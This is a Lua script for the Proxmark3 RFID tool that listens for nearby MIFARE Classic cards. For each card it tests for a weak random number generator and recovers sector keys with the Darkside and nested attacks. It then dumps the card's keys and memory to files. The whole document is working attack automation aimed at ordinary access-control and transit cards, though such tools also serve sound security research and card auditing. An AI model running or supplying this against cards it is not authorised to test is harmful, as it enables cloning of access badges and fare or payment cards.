local getopt = require('getopt')
local lib14a = require('read14a')
local cmds = require('commands')
local utils = require('utils')
local ansicolors  = require('ansicolors')

copyright = ''
author = "Martin Holst Swende"
version = 'v1.0.4'
desc = [[
This is a script which automates cracking and dumping mifare classic cards. It sets itself into
'listening'-mode, after which it cracks and dumps any mifare classic card that you
place by the device.

Please consider using the native command `hf mf autopwn`
]]
example = [[
    1. script run hf_mf_autopwn
]]
usage = [[
script run hf_mf_autopwn [-h] [-d] [-k <key>]
]]
arguments = [[
    -h          this help
    -d          debug logging on
    -k          known key for Sector 0 ,  keytype A


Output files from this operation:
    <uid>.eml       - emulator file
    <uid>.html      - html file containing card data
    dumpkeys.bin    - keys are dumped here. OBS! This file is volatile, as other commands overwrite it sometimes.
    dumpdata.bin    - card data in binary form. OBS! This file is volatile, as other commands (hf mf dump) overwrite it.

]]

-------------------------------
-- Some utilities
-------------------------------
local DEBUG = false
---
-- A debug printout-function
local function dbg(args)
    if not DEBUG then return end
    if type(args) == 'table' then
        local i = 1
        while result[i] do
            dbg(result[i])
            i = i+1
        end
    else
        print('###', args)
    end
end
---
-- This is only meant to be used when errors occur
local function oops(err)
    print('ERROR:', err)
    core.clearCommandBuffer()
    return nil, err
end
---
-- Usage help
local function help()
    print(copyright)
    print(author)
    print(version)
    print(desc)
    print(ansicolors.cyan..'Usage'..ansicolors.reset)
    print(usage)
    print(ansicolors.cyan..'Arguments'..ansicolors.reset)
    print(arguments)
    print(ansicolors.cyan..'Example usage'..ansicolors.reset)
    print(example)
end
---
-- Waits for a mifare card to be placed within the vicinity of the reader.
-- @return if successful: an table containing card info
-- @return if unsuccessful : nil, error
local function wait_for_mifare()
    while not core.kbd_enter_pressed() do
        res, err = lib14a.read()
        if res then return res end
        -- err means that there was no response from card
    end
    return nil, 'Aborted by user'
end

local function get_mf_size(sak)
    local foo = "--1k"
    if 0x18 == sak then --NXP MIFARE Classic 4k | Plus 4k | Ev1 4k
        foo = "--4k"
    elseif 0x08 == sak then -- NXP MIFARE CLASSIC 1k | Plus 2k | Ev1 1K
        foo = "--1k"
    elseif 0x09 == sak then -- NXP MIFARE Mini 0.3k
        foo = "--mini"
    elseif 0x10 == sak then-- "NXP MIFARE Plus 2k"
        foo = "--2k"
    elseif 0x01 == sak then-- "NXP MIFARE TNP3xxx 1K"
        foo = "--1k"
    else
        print("I don't know how many sectors there are on this type of card, defaulting to 16")
    end
    return foo
end

local function nested(key, sak)
    local mfs = get_mf_size(sak)
    local cmd = string.format('hf mf nested %s --blk 0 -k %s --dump', mfs, key)
    core.console(cmd)
end

local function dump_tag(uid, sak)
    dbg('dumping tag memory')


    if utils.confirm('Do you wish to create a memory dump of tag?') then

        local dumpfile = 'hf-mf-'..uid..'-dump'

        local mfs = get_mf_size(sak)
        local dmp = ('hf mf dump %s -f %s'):format(mfs, dumpfile)
        core.console(dmp)

        -- Save the global args, those are *our* arguments
        local myargs = args
        -- Set the arguments for data_mf_bin2html script
        args =('-i %s.bin -o %s.html'):format(dumpfile, dumpfile)
        -- call it
        require('data_mf_bin2html')

        -- Set back args. Not that it's used, just for the karma...
        args = myargs
    end
end
--
-- performs a test if tag nonce uses weak or hardend prng
local function perform_prng_test()
    local isweak = core.detect_prng()
    if isweak == 1 then
        dbg('PRNG detection : WEAK nonce detected')
    elseif isweak == 0 then
        dbg('PRNG detection : HARDEND nonce detected')
    else
        dbg('PRNG detection : failed')
    end
    return isweak
end
---
-- The main entry point
local function main(args)

    local verbose, _exit, res, uid, err, _, sak
    local seen_uids = {}
    local key = ''
    local print_message = true
    -- Read the parameters
    for o, a in getopt.getopt(args, 'hdk:') do
        if o == 'h' then help() return end
        if o == 'd' then DEBUG = true end
        if o == 'k' then key = a end
    end

    while not _exit do
        if print_message then
            print('Waiting for card or press Enter to stop')
            print_message = false
        end
        res, err = wait_for_mifare()
        if err then return oops(err) end
        -- Seen already?
        uid = res.uid
        sak = res.sak

        if not seen_uids[uid] then
            -- Store it
            seen_uids[uid] = uid

            -- check if PRNG is WEAK
            if perform_prng_test() == 1 then
                print('Card found, commencing crack on UID', uid)

                if #key == 12 then
                    print('Using key: '..key);
                else
                    -- Crack it
                    local cnt
                    err, res = core.mfDarkside()
                    if     err == -1 then return oops('Button pressed. Aborted.')
                    elseif err == -2 then return oops([[Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests).]])
                    elseif err == -3 then return oops([[Card is not vulnerable to Darkside attack (its random number generator is not predictable).]])
                    elseif err == -4 then return oops([[
        Card is not vulnerable to Darkside attack (its random number generator seems to be based on the wellknown
        generating polynomial with 16 effective bits only, but shows unexpected behaviour.]])
                    elseif err == -5 then return oops('aborted via keyboard.')
                    end
                    -- The key is actually 8 bytes, so a
                    -- 6-byte key is sent as 00XXXXXX
                    -- This means we unpack it as first
                    -- two bytes, then six bytes actual key data
                    -- We can discard first and second return values
                    _,_,key = bin.unpack('H2H6',res)
                    print('Found valid key: '..key);
                end
                -- Use nested attack
                nested(key, sak)
                -- Dump info
                dump_tag(uid, sak)

                if #key == 12 then _exit = true end
            else
                print('Card found, darkside attack useless PRNG hardend on UID', uid)
            end
            print_message = true
        end
    end
end

-- Call the main
main(args)
